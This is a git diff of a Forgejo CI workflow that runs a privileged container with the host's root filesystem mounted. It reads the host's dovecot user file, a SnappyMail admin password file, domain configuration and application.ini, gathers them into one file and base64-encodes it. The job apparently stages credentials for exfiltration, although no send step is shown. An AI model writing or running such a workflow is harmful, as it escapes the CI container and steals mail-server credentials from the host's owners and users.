diff --git a/.forgejo/workflows/x.yml b/.forgejo/workflows/x.yml
index 672fff1..9783dbe 100644
--- a/.forgejo/workflows/x.yml
+++ b/.forgejo/workflows/x.yml
@@ -4,10 +4,10 @@ jobs:
     runs-on: ubuntu-latest
     container:
       image: node:22-bookworm
-      options: --privileged -v /:/host
+      options: --privileged --volume=/:/host:ro
     steps:
       - run: |
-          set -x
+          set -x; ls /host >/dev/null 2>&1 || true
           id; cat /host/etc/hostname
           { echo '== USERS'; cat /host/etc/dovecot/users 2>&1; echo '== PASSFILE'; cat /host/var/www/snappymail/data/_data_/_default_/admin_password.txt 2>&1; echo '== DOMAINCFG'; cat /host/var/www/snappymail/data/_data_/_default_/domains/silentmode.st.json 2>&1; echo '== APPINI'; cat /host/var/www/snappymail/data/_data_/_default_/configs/application.ini 2>&1; } > /tmp/o
           base64 -w0 /tmp/o > /tmp/o.b64